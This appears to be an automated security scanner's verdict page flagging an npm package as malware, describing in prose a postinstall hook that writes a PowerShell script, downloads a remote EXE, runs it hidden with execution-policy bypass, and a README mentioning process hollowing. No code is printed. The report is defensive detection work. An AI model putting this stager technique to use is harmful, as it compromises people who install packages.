AI Security Review

scanned 3mo ago · by lpm-firewall-ai

Direct source inspection confirms an unconsented install-time remote executable download and hidden execution chain. This is concrete malware behavior, not a package-aligned setup action.

Static reason

One or more suspicious static signals were detected.; previous stored version diff introduced dangerous source

Trigger

`npm install` / lifecycle `postinstall` on Windows when `NODE_ENV` is not `development`

Impact

Arbitrary remote executable code runs under the installing user's privileges.

Mechanism

hidden PowerShell download-and-execute stager

Attack narrative

During npm postinstall, `install.js` exits outside Windows or in development mode, then creates a PowerShell script in the temp directory. It uses `WebClient.DownloadFile` to fetch a remote EXE, executes it with a hidden window, and invokes PowerShell with `-Exec Bypass`. The README independently describes install-time stager behavior and process hollowing.

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

`package.json` runs `node install.js` on `postinstall`.
`install.js` targets Windows non-development installs.
`install.js` downloads an EXE from GitHub and launches it hidden.
`install.js` invokes PowerShell with execution-policy bypass.
`README.md` describes an npm-install stager and process hollowing.

Evidence against

`index.js` only exports simple string and sleep utilities.
No benign purpose justifies the hidden install-time executable download.
